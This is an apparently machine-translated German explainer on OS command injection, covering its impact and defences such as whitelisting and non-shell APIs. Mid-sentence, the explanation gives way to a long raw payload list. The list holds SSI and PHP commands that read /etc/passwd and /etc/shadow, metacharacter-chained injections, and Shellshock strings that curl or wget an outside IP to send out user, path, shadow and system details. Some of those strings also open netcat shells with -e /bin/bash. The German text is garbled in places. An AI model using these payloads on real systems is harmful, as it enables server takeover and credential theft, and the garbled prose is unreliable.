Befehlsinjektion ist ein Angriff, bei dem das Ziel die Ausführung willkürlicher Befehle auf das Host -Betriebssystem über eine gefährdete Anwendung ist. Befehlsinjektionsangriffe sind möglich, wenn eine Anwendung unsichere vom Benutzer gelieferte Daten (Formulare, Cookies, HTTP -Header usw.) an eine Systemschale übergibt. Bei diesem Angriff werden die Angreifer-unterstützten Betriebssystembefehle normalerweise mit den Berechtigungen der gefährdeten Anwendung ausgeführt. Befehlsinjektionsangriffe sind weitgehend aufgrund einer unzureichenden Eingabevalidierung möglich.
Dieser Angriff unterscheidet sich von der Code -Injektion, in dieser Codeinjektion kann der Angreifer seinen eigenen Code hinzufügen, der dann von der Anwendung ausgeführt wird. In der Befehlsinjektion erweitert der Angreifer die Standardfunktion der Anwendung, die Systembefehle ausführt, ohne dass der Code injiziert werden muss.
Die OS -Befehlsinjektion ist eine kritische Sicherheitsanfälligkeit, mit der Angreifer die vollständige Kontrolle über eine betroffene Website und den zugrunde liegenden Webserver erhalten können.
OS -Befehlseinspritz -Schwachstellen entstehen, wenn eine Anwendung Benutzerdaten in einen von ihr ausgeführten Betriebssystembefehl einbezieht. Ein Angreifer kann die Daten manipulieren, um seine eigenen Befehle auszuführen. Auf diese Weise kann der Angreifer alle Maßnahmen ausführen, die die Anwendung selbst ausführen kann, einschließlich des Lesens oder Änderns aller Daten und der Ausführung privilegierter Aktionen.
Zusätzlich zu dem gesamten Kompromiss des Webservers kann ein Angreifer eine Befehlsinjektionsanfälligkeit nutzen, um den Angriff in der internen Infrastruktur der Organisation zu drehen, wodurch möglicherweise auf jedes System zugreifen kann, auf das der Webserver zugegriffen werden kann. Möglicherweise können sie auch in der Organisation einen anhaltenden Fußgängigkeit schaffen und auch nach der Festlegung der ursprünglichen Sicherheitsanfälligkeit weiterhin auf kompromente Systeme zugreifen.
Schwachstellen für Betriebssystem-Befehlsinjektion entstehen, wenn eine Anwendung benutzerfreundliche Daten in einen Befehl einbezieht, der von einem Shell-Befehlsinterpreter verarbeitet wird. Wenn die Benutzerdaten nicht streng validiert sind, kann ein Angreifer Shell Metacharacter verwenden, um den ausgeführten Befehl zu ändern und willkürliche weitere Befehle zu injizieren, die vom Server ausgeführt werden.
Schwachstellen der OS -Befehlsinjektion sind in der Regel sehr schwerwiegend und können dazu führen, dass der Server die Anwendung oder die eigenen Daten und Funktionen der Anwendung beeinträchtigt. Es kann auch möglich sein, den Server als Plattform für Angriffe gegen andere Systeme zu verwenden. Das genaue Ausnutzungspotential hängt von dem Sicherheitskontext ab, in dem der Befehl ausgeführt wird, und von den Berechtigungen, die dieser Kontext in Bezug auf sensible Ressourcen auf dem Server enthält.
Wenn möglich, sollten Anwendungen vermeiden, benutzerfreundliche Daten in Betriebssystembefehle einzubeziehen. In fast jeder Situation gibt es sicherere alternative Methoden zur Ausführung von Aufgaben auf Serverebene, die nicht so manipuliert werden können, um zusätzliche Befehle auszuführen als die beabsichtigten.
Wenn es als unvermeidlich angesehen wird, von Benutzer bereitgestellte Daten in Betriebssystembefehle einzubeziehen, sollten die folgenden zwei Verteidigungsebenen verwendet werden, um Angriffe zu verhindern:
Die Benutzerdaten sollten streng validiert werden. Im Idealfall sollte ein Whitelist spezifischer akzeptierter Werte verwendet werden. Andernfalls sollten nur kurze alphanumerische Saiten akzeptiert werden. Eingaben, die andere Daten enthalten, einschließlich allerdenkwürdiger Schalenmetacharakter- oder Whitespace, sollten abgelehnt werden.
Die Anwendung sollte Befehls-APIs verwenden, die einen bestimmten Vorgang über ihre Namens- und Befehlszeilenparameter starten, anstatt eine Befehlszeichenfolge an einen Shell-Interpreter zu übergeben, der die Befehlskettung und -umleitung unterstützt. Beispielsweise unterstützt die Java -API runtime.exec und der ASP.NET -API -Prozess. Diese Verteidigung kann mildern
<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->
<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->
<!--#exec%20cmd="/usr/bin/id;-->
<!--#exec%20cmd="/usr/bin/id;-->
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
n/bin/ls -aln
n/usr/bin/idn
nidn
n/usr/bin/id;
nid;
n/usr/bin/id|
nid|
;/usr/bin/idn
;idn
|usr/bin/idn
|nidn
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=`whoami`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=`pwd`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=`uname -a`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=`nc -lvvp 1234 -e /bin/bash`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=`nc -lvvp 1236 -e /bin/bash &`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=5"
() { :;}; /bin/bash -c "sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6"
() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
() { :;}; /bin/bash -c "sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7"
() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9"
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=`whoami`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=`pwd`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=`uname -a`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=`nc -lvvp 1235 -e /bin/bash`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=`nc -lvvp 1237 -e /bin/bash &`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=4"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
%0Acat%20/etc/passwd
{{ get_user_file("/etc/passwd") }}
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>